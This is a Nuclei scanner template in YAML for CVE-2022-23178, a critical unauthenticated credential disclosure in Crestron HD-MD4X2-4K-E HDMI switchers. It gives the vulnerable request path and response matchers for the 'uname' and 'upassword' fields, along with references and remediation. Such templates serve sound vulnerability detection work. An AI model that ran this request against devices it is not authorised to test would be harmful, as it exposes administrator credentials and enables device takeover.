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id : CVE-2022-23178
info :
name : Crestron Device - Credentials Disclosure
author : gy741
severity : critical
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description : An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
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remediation : |
Update the Crestron Device firmware to the latest version to mitigate the vulnerability.
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reference :
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
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- https://nvd.nist.gov/vuln/detail/CVE-2022-23178
- https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
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- https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2022-23178
cwe-id : CWE-287
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epss-score : 0.03228
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epss-percentile : 0.90152
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cpe : cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : crestron
product : hd-md4x2-4k-e_firmware
tags : cve,cve2022,crestron,disclosure
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http :
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- method : GET
path :
- "{{BaseURL}}/aj.html?a=devi"
matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- '"uname":'
- '"upassword":'
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condition : and
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- type : status
status :
- 200
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# digest: 4a0a00473045022100dc04fd7d11e3bbf311dad14e07cd9a16579ee574068078ca10bdb906efa749de0220097db46304fd3cbebd10fc98b5bf47c3e0460fd8d9b813e1dc5a14eb0fdda550:922c64590222798bb761d5b6d8e72950